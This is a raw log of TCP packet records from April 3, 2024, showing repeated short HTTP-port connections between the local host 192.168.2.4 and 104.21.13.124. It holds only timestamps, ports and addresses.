Apr 3, 2024 06:37:52.769684076 CEST | 49774 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:52.772037029 CEST | 49774 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:52.897028923 CEST | 80 | 49774 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:52.897661924 CEST | 49774 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:53.022516012 CEST | 80 | 49774 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:53.322824955 CEST | 80 | 49774 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:53.323098898 CEST | 80 | 49774 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:53.323123932 CEST | 49774 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:53.323160887 CEST | 49774 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:53.447895050 CEST | 80 | 49774 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:53.471502066 CEST | 49775 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:53.596381903 CEST | 80 | 49775 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:53.596530914 CEST | 49775 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:53.598973036 CEST | 49775 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:53.723874092 CEST | 80 | 49775 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:53.723952055 CEST | 49775 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:53.848834991 CEST | 80 | 49775 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:54.150489092 CEST | 80 | 49775 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:54.150844097 CEST | 80 | 49775 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:54.150950909 CEST | 49775 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:54.151000023 CEST | 49775 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:54.275767088 CEST | 80 | 49775 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:54.295859098 CEST | 49776 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:54.420897007 CEST | 80 | 49776 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:54.421180010 CEST | 49776 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:54.423487902 CEST | 49776 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:54.548626900 CEST | 80 | 49776 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:54.548974037 CEST | 49776 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:54.674163103 CEST | 80 | 49776 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:54.846003056 CEST | 80 | 49776 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:54.846191883 CEST | 80 | 49776 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:54.846254110 CEST | 49776 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:54.846254110 CEST | 49776 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:54.971266031 CEST | 80 | 49776 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:54.981865883 CEST | 49777 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:55.106661081 CEST | 80 | 49777 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:55.106748104 CEST | 49777 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:55.108964920 CEST | 49777 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:55.234108925 CEST | 80 | 49777 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:55.234338045 CEST | 49777 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:55.359088898 CEST | 80 | 49777 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:55.527488947 CEST | 80 | 49777 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:55.527689934 CEST | 80 | 49777 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:55.527837992 CEST | 49777 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:55.529896021 CEST | 49777 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:55.654479027 CEST | 80 | 49777 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:55.669673920 CEST | 49778 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:55.794410944 CEST | 80 | 49778 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:55.794631004 CEST | 49778 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:55.796602011 CEST | 49778 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:55.921413898 CEST | 80 | 49778 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:55.921500921 CEST | 49778 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:56.046474934 CEST | 80 | 49778 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:56.348131895 CEST | 80 | 49778 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:56.348357916 CEST | 80 | 49778 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:56.348445892 CEST | 49778 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:56.348505974 CEST | 49778 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:56.473372936 CEST | 80 | 49778 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:56.482978106 CEST | 49779 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:56.607451916 CEST | 80 | 49779 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:56.607649088 CEST | 49779 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:56.609631062 CEST | 49779 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:56.733977079 CEST | 80 | 49779 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:56.734040976 CEST | 49779 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:56.858380079 CEST | 80 | 49779 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:57.166856050 CEST | 80 | 49779 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:57.167562962 CEST | 49779 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:57.167588949 CEST | 80 | 49779 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:57.167644024 CEST | 49779 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:57.292037010 CEST | 80 | 49779 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:57.308209896 CEST | 49780 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:57.433063984 CEST | 80 | 49780 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:57.433182955 CEST | 49780 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:57.435446978 CEST | 49780 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:57.562716961 CEST | 80 | 49780 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:57.562799931 CEST | 49780 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:57.687421083 CEST | 80 | 49780 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:57.862072945 CEST | 80 | 49780 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:57.862334967 CEST | 49780 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:57.862368107 CEST | 80 | 49780 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:57.862423897 CEST | 49780 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:57.987112999 CEST | 80 | 49780 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:57.994575977 CEST | 49781 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:58.120341063 CEST | 80 | 49781 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:58.120425940 CEST | 49781 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:58.122430086 CEST | 49781 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:58.247193098 CEST | 80 | 49781 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:58.247253895 CEST | 49781 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:58.372067928 CEST | 80 | 49781 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:58.551086903 CEST | 80 | 49781 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:58.551328897 CEST | 49781 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:58.551991940 CEST | 80 | 49781 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:58.552046061 CEST | 49781 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:58.675852060 CEST | 80 | 49781 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:58.683415890 CEST | 49782 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:58.807888031 CEST | 80 | 49782 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:58.807971954 CEST | 49782 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:58.810148954 CEST | 49782 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:58.934504032 CEST | 80 | 49782 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:58.934648037 CEST | 49782 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:59.059081078 CEST | 80 | 49782 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:59.368338108 CEST | 80 | 49782 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:59.368614912 CEST | 49782 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:59.369045019 CEST | 80 | 49782 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:59.369098902 CEST | 49782 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:59.493033886 CEST | 80 | 49782 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:59.512943029 CEST | 49783 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:59.637716055 CEST | 80 | 49783 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:59.637969971 CEST | 49783 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:59.640455008 CEST | 49783 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:59.765137911 CEST | 80 | 49783 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:59.765212059 CEST | 49783 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:59.889923096 CEST | 80 | 49783 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:00.062184095 CEST | 80 | 49783 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:00.062426090 CEST | 80 | 49783 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:00.062472105 CEST | 49783 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:00.062509060 CEST | 49783 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:00.187778950 CEST | 80 | 49783 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:00.204180956 CEST | 49784 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:00.328953981 CEST | 80 | 49784 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:00.329054117 CEST | 49784 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:00.331065893 CEST | 49784 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:00.455873966 CEST | 80 | 49784 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:00.456084967 CEST | 49784 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:00.580812931 CEST | 80 | 49784 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:00.744595051 CEST | 80 | 49784 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:00.744616985 CEST | 80 | 49784 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:00.744724035 CEST | 49784 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:00.744951010 CEST | 49784 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:00.887756109 CEST | 49785 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:01.012801886 CEST | 80 | 49785 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:01.012892008 CEST | 49785 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:01.015338898 CEST | 49785 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:01.060189009 CEST | 49784 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:01.139978886 CEST | 80 | 49785 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:01.140033960 CEST | 49785 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:01.185215950 CEST | 80 | 49784 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:01.264936924 CEST | 80 | 49785 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:01.575891972 CEST | 80 | 49785 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:01.575977087 CEST | 80 | 49785 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:01.576164007 CEST | 49785 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:01.576189041 CEST | 49785 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:01.701508999 CEST | 80 | 49785 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:01.716912985 CEST | 49786 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:01.842092991 CEST | 80 | 49786 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:01.842171907 CEST | 49786 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:01.844435930 CEST | 49786 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:01.969512939 CEST | 80 | 49786 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:01.969675064 CEST | 49786 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:02.094578028 CEST | 80 | 49786 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:02.272619963 CEST | 80 | 49786 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:02.272871971 CEST | 49786 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:02.273231030 CEST | 80 | 49786 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:02.273282051 CEST | 49786 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:02.397948980 CEST | 80 | 49786 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:02.419236898 CEST | 49787 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:02.544114113 CEST | 80 | 49787 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:02.544361115 CEST | 49787 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:02.546391010 CEST | 49787 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:02.671124935 CEST | 80 | 49787 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:02.671345949 CEST | 49787 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:02.796159983 CEST | 80 | 49787 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:02.965898991 CEST | 80 | 49787 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:02.966480970 CEST | 80 | 49787 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:02.966550112 CEST | 49787 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:02.978775978 CEST | 49787 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:03.103550911 CEST | 80 | 49787 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:03.126468897 CEST | 49788 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:03.252609968 CEST | 80 | 49788 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:03.252717972 CEST | 49788 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:03.254673004 CEST | 49788 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:03.382848978 CEST | 80 | 49788 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:03.382950068 CEST | 49788 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:03.507481098 CEST | 80 | 49788 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:03.684485912 CEST | 80 | 49788 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:03.684839964 CEST | 49788 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:03.685261965 CEST | 80 | 49788 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:03.685326099 CEST | 49788 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:03.812505007 CEST | 80 | 49788 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:03.848063946 CEST | 49789 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:03.973054886 CEST | 80 | 49789 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:03.973202944 CEST | 49789 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:05.256072998 CEST | 49789 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:05.380599976 CEST | 80 | 49789 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:05.380669117 CEST | 49789 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:05.505032063 CEST | 80 | 49789 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:05.674985886 CEST | 80 | 49789 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:05.675131083 CEST | 80 | 49789 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:05.675184965 CEST | 49789 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:05.675249100 CEST | 49789 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:05.799856901 CEST | 80 | 49789 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:05.807652950 CEST | 49790 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:05.936413050 CEST | 80 | 49790 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:05.936491013 CEST | 49790 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:05.938499928 CEST | 49790 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:06.063760042 CEST | 80 | 49790 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:06.063873053 CEST | 49790 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:06.189111948 CEST | 80 | 49790 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:06.362993002 CEST | 80 | 49790 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:06.363392115 CEST | 49790 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:06.363559961 CEST | 80 | 49790 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:06.363600969 CEST | 49790 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:06.488487005 CEST | 80 | 49790 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:06.519277096 CEST | 49791 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:06.643821955 CEST | 80 | 49791 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:06.644000053 CEST | 49791 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:06.650554895 CEST | 49791 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:06.774810076 CEST | 80 | 49791 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:06.774986982 CEST | 49791 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:06.899446964 CEST | 80 | 49791 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:07.077550888 CEST | 80 | 49791 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:07.078052044 CEST | 80 | 49791 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:07.078133106 CEST | 49791 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:07.078166962 CEST | 49791 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:07.202352047 CEST | 80 | 49791 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:07.229861021 CEST | 49792 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:07.354604006 CEST | 80 | 49792 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:07.354737997 CEST | 49792 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:07.360241890 CEST | 49792 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:07.484781981 CEST | 80 | 49792 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:07.484905958 CEST | 49792 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:07.609622002 CEST | 80 | 49792 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:07.923548937 CEST | 80 | 49792 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:07.923625946 CEST | 80 | 49792 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:07.923732996 CEST | 49792 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:07.923986912 CEST | 49792 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:08.048902988 CEST | 80 | 49792 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:08.070713043 CEST | 49793 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:08.195374012 CEST | 80 | 49793 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:08.195558071 CEST | 49793 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:08.198877096 CEST | 49793 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:08.323426962 CEST | 80 | 49793 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:08.323491096 CEST | 49793 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:08.447942019 CEST | 80 | 49793 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:08.766911983 CEST | 80 | 49793 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:08.767002106 CEST | 80 | 49793 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:08.767060995 CEST | 49793 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:08.767304897 CEST | 49793 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:08.891693115 CEST | 80 | 49793 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:08.913777113 CEST | 49794 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:09.038754940 CEST | 80 | 49794 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:09.038898945 CEST | 49794 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:09.042243004 CEST | 49794 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:09.167011023 CEST | 80 | 49794 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:09.167139053 CEST | 49794 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:09.292007923 CEST | 80 | 49794 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:09.607609987 CEST | 80 | 49794 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:09.608062029 CEST | 80 | 49794 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:09.608150005 CEST | 49794 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:09.608520985 CEST | 49794 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:09.733074903 CEST | 80 | 49794 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:09.761112928 CEST | 49795 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:09.886745930 CEST | 80 | 49795 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:09.886885881 CEST | 49795 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:09.892412901 CEST | 49795 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:10.016714096 CEST | 80 | 49795 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:10.016803026 CEST | 49795 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:10.141194105 CEST | 80 | 49795 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:10.445008993 CEST | 80 | 49795 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:10.445290089 CEST | 49795 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:10.445312023 CEST | 80 | 49795 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:10.445363998 CEST | 49795 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:10.569664955 CEST | 80 | 49795 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:10.597965002 CEST | 49796 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:10.722728968 CEST | 80 | 49796 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:10.722922087 CEST | 49796 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:10.724951982 CEST | 49796 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:10.850301027 CEST | 80 | 49796 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:10.850409031 CEST | 49796 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:10.975363970 CEST | 80 | 49796 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:11.145678043 CEST | 80 | 49796 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:11.146053076 CEST | 49796 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:11.146281004 CEST | 80 | 49796 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:11.146346092 CEST | 49796 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:11.270658016 CEST | 80 | 49796 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:38:11.274205923 CEST | 49797 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:38:11.398502111 CEST | 80 | 49797 | 104.21.13.124 | 192.168.2.4 |
